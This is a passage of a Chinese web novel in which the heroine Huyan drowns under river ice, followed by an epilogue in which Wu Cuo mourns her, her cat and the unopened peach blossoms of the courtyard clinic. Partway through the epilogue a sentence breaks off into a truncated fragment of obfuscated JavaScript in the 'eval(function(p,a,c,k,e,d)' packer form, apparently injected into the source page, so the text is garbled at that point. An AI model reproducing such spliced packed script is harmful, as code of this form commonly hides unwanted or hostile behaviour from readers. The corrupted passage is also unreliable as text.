呼延甚至来不及尖叫出声,整个人就被淹没在冰水中,她用尽全力挣扎着从水里冒出,手试图扒住冰面,但刚一触碰,脆弱的冰块就立刻被折碎,顺着她的手再次落入水中。 被摔到河岸的小黄豆也终于意识到了情况,他从草地上爬起来,不安地指着呼延,“啊、啊——” “小黄、小黄豆,去叫人——” 小黄豆站起来,却仍旧在原地转圈,他不停地跺着脚,口中发出急促的叫喊声。 呼延的四肢慢慢失去知觉,她努力让自己的头冒出水面。 “小、黄——” 小黄豆走过去,向呼延伸出手。 呼延拼命摇头。 不行,这样会把小黄豆一起拉下去,会害死他的。 她用尽全部的力气将一整个头露出水面,“小黄豆,回小院喊人去河里救呼延真,现在!” 说完,呼延感觉自己的身体被一股力量拽住重重地拉入冰窟中。 她感觉自己的身体彻底的冰凉、僵硬。 好熟悉。 就像。 陆离。 她睁着眼睛,看着粼粼的水面将天空切割,看着岸边的一切离她越来越远,光线扭曲破碎。 世界静止,四下空寂。 呼延闭上了眼睛。 她听到耳边一道熟悉的声音喊她的名字。 “真真。” 陆离。你来接我了。 …… …… …… 吴措的采访没有结束,中途休息的时候,他看到了呼延的微信。 呼延已经很久没有主动给他发微信了,他立刻打了语音回去,但呼延没有接,他和几个老师说了抱歉,起身向小院赶过去。 他是在路上碰到的小黄豆,小黄豆一边跑着,一边口中喃喃。 “怎么了小黄豆?”吴措跑过去。 他听见了小黄豆口中的话。 “小黄豆,回小院喊人去河里救呼延真,现在!小黄豆,回小院喊人去河里救呼延真,现在!小黄豆,回小院喊人去河里救呼延真,现在……” 吴措赶过去的时候,冰面平静得只剩下一个巨大的窟窿。 “呼延真!” 他大喊了一声,没有任何回应。 吴措用石头砸碎了窟窿到岸边的冰块,他憋了口气跪在岸边,将半个身体埋进河水向里探看,冰水灌进他的耳朵,但里面深不见底,什么都看不见。 “呼延真!”他又喊了一遍。 “呼延、”吴措有一瞬间听不到自己的声音了,他急促地呼吸了几下,回身用两只手掰正小黄豆的肩膀,“呼延、是不是、掉在里面了。” “小黄豆,回小院喊人去河里救呼延真,现在!小黄豆,回小院喊人去河里救呼延真……”小黄豆只是重复着。 吴措深呼吸两次,然后他快速脱掉了自己的外套和裤子,又脱掉鞋子,转身跳进了河里。 冰冷如同刀锋割裂着他的肌肉,吴措屏住呼吸努力保持着理智。 就在这里,一定就在这里。 呼延,等我。 等我。 他向下斜扎着游下去,河的水深只有两米多,但水质浑浊,看不清水中情况,他用手摸索着河底,一点一点向里探着。 他感觉自己的肌肉因为寒冷变得僵硬,四肢的动作变得迟缓,身体仿佛已经不属于自己。 在他的意识逐渐随着身体下沉的时候,他的手指忽然碰到了什么东西。 吴措的大脑猛地清醒过来,他顺着碰到的位置继续向下探,直到他看到了他最想看到,但此刻又最不想看到的脸。 呼延。 他叫不出来她的名字。 只能将她整个人拥在怀里,他试图用力地晃动她,但得不到任何回应。 水隔绝了一切。 他抱着她,将她拖出水面。 吴措倾尽最后一丝力气将呼延从水底带出来,带到岸边,他的全身已经完全麻木,他凭着下意识的肌肉记忆,不断地给呼延做心肺复苏,做人工呼吸。 但呼延没有任何反应。 小黄豆的尖叫声吸引来了路过的村民,村民叫来了救护车。 在救护车到的时候,吴措仍旧在给呼延做心肺复苏。 小院的人赶来,医生赶来,很多人都赶了过来。 宋殊腿软地扑倒在呼延身边,她摸着呼延冰凉的手,已经失去了脉搏的手,昏了过去。 吴措的手摁在呼延的胸腔上,一下,又一下。 直到医生将他拖走。 将呼延抬到担架上。 然后盖上了一层白布。 吴措跌倒在地上,看到这个又猛地扑了上去,他发疯似的把盖在呼延身上的白布忽地掀开来。 “让她透透气,求求你们。” 水下已经这么闷,盖在白布下,该多难受。 呼延被救护车带走了,所有人都离开了。 吴措跌躺在河边的草坪上,很久,很久。 “真真。” 他叫出这个名字。 枯草刮着他的面颊,风吹着灰尘落在他的脸上。 不是问我什么时候回来么。 我回来了,你要和我说什么。 你要说什么。 吴措不知道自己是什么时候回的小院,院子里空无一人,只有一盏常亮灯在屋檐下孤寂地守着。 他拖着身体慢慢走回自己的房间。 在他准备推门进屋时,门把手上飘着的东西缠到了他的手腕上。 他低头看过去,是那根白色丝带。 呼延一直系在手腕上的,那根白色丝带。 他攥着那根丝带,忽然大哭出声。 呼延真。 对不起,我来晚了。 【正文完】 45. 告诉桃花 [吴措] 呼延去世的第二天,夜宵开始绝食。 当时所有人都在忙着呼延的后事,没有人注意到这一点。 我在呼延房间的衣柜里发现它的时候,它正缩成一团躺在柜子最里侧,看起来倒是没有明显的虚弱。夜宵太胖了,它就算是三天不吃饭,体型肉眼看过去也没什么明显的差别。 呼延常说应该狠狠把胖猫饿两顿才行,但每次第一个不忍心去喂它的,也永远是呼延。 我把夜宵从衣柜里抱出来,拿出它平时最爱的冻干、猫条放在它嘴边,夜宵毫无反应。 我把它送去宠物医院,医生检查了一小时,验血、拍片,检查不出任何问题,最后只是说饿太久了,需要输液补充营养。 我将夜宵带回了小院,给它输液维持体征。但在呼延去世的一周后,夜宵还是死了。 我把夜宵埋在了呼延的坟边,给它立了一个小小的坟,坟前放了一罐吞拿鱼冻干,不知道它还喜不喜欢吃。 离开的时候,我看了一眼旁边的呼延,哦,应该说,呼延的坟。 呼延的坟前放着许多食物,她发病前食量很好,什么都能吃一些,没什么特别爱吃的,所以封筝他们吃到什么好东西,都会留一些送过来。 在这些食物里面,总会出现两片维他命,是小黄豆放的。 我不知道小黄豆对于死亡有没有概念,但他对活下去是有概念的。 宋殊曾经告诉他,维他命是维持生命的东西,呼延也拿这个来安抚他。 小黄豆坚持给呼延送维他命,似乎多送几次,多送一些,呼延就会在某一刻忽然醒过来。 大概也因为这点,我对一些生产维他命的品牌,竟然也多了几分好感。 我偶尔会看着呼延墓碑上的照片失神,偶尔成为一个唯心主义的拥趸者。 万一呢。 呼延在照片里冲着我笑,我能想到她会对我说什么。 她会说,吴措,你也有今天。 是啊,我也有今天。 呼延的照片是彩色的,整片墓地只有她是彩色。 照片应该是上学时拍的,去医院做实习医生时的证件照,厚厚的刘海齐到眉下,弯眼笑着,看着让人就开心。 我想起了我第一次见到呼延的时候,在饭馆门前,她穿了一身松松垮垮的休闲T恤,趿着双拖鞋在我旁边路过。 我一眼认出了她,和照片里一样,那双灵动的眼睛,眨啊眨的。她就是眨着这双眼睛把我骗到了这片坟地。 一年后,我来这里看她。 呼延走后,小院仍旧开着,院长照常出诊,她还是延续着之前的工作节奏,有时晚上会一个人研究病历到深夜,封筝担心她出问题,想带她出去散散心,她拒绝了,只是说,在这里待着会安心些。 谁都知道院长不可能像她表现出的那样平静,但没人劝得动她。 在我还没离开小院的时候,有一次晚回,看到呼延以前住的房间门缝漏出一道细长的光,我没有走近去看,那道大门紧闭着,我回到房间,听到了隔壁断断续续的呜咽声,一直持续到后半夜。 第二天院长戴了副茶色墨镜,大家都不约而同假装没有看到,院长墨镜下红肿的眼睛。 我后来和院长告别,她的鬓角长了几缕白发,没有染黑,任由白发取代黑发一点点在她的发间增长蔓延。 我不想用一夜苍老了这种话来形容院长,我想在呼延确诊的时候,她应该就老了一次。 后来守在呼延身边,一次次看着她犯病,又老了几次。 现在只是所有的苍老喷薄爆发出来了,虽然院长看起来还是那么平静。 我走的时候,院长送了我几袋中药,她说呼延提过我睡不好觉,这些药是安神的。 我拿着药半晌说不出话,最后只能说,谢谢。 我也只能说声,谢谢。 院子里的桃花始终没有开。 至少在我离开的那个春天没开。 秋千因为没人再坐被收了起来,放上了一个新的躺椅。 路过的时候,我经常会恍惚,觉得呼延仍旧躺在这张躺椅上。 我看到太阳渐渐偏西,大树的阴影缓慢地扩大落到她身上。 看到天气热起来的时候她逐着阴影打盹,天气凉了她开始逐着阳光而睡。 太阳从东照到西,阳光挪一寸,她跟着挪一寸。 挪着挪着,躺椅上空无一人。 我离开小院时是夏天,小院里来了新的志愿者,我要继续去做以前未做完的事了。 我去了很多国家,见了很多人,但每年的春天,都会回到小院,在这里做一个月的义工。 这是第几年了。 我已经不太会去记忆时间,时间对我来说没什么意义了。 小院今年新住进一个小女孩,比迟迟小,迟迟如今已经读高中了,兰姨陪读离开了小院,小院的人在慢慢更替,越来越少的人还记得当年的故事。 小女孩叫喜宝,先天性心脏病,不久前刚做完手术在小院疗养,是个小话痨,很喜欢找人聊天。 我回小院的第一天,就被喜宝抓住了,她问我是谁,我说我是小院的人。 她围着我转了一圈,似乎在审视我的可靠性和危险性,她的视线忽然停留在我的背包上。 她指着我背包提手上系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今天的天气不是很好,二月的枥城经历了一波微弱的寒流,没有那年那么冷,但也绝对说不上暖和。 我在树下的躺椅上坐了一会儿,准备进屋拿个外套,忽然被喜宝脆铃的声音叫住。 她跑过来,一只手背在身后,说,你闭上眼睛。 我无法反抗,只能乖乖闭上。 一秒钟后她又让我睁开。 我看到她摊开的,幼嫩的手心里躺着一张粉色的卡片纸,上面用铅笔画了朵五瓣的桃花。 喜宝喜滋滋地冲着我笑,两只眼睛底下挤出可爱的印第安纹:她说:桃花开啦! 这天恰好立春,一朵桃花盛开在我面前。 背包上的丝带忽地飘动了两下。 可是,院子里并没有起风。 我恍然回头,看到呼延在向我招手。 她笑得没心没肺,步伐轻盈地跑向我,又越过了我。 炊烟四起,又是一春。 告诉桃花,不必开了。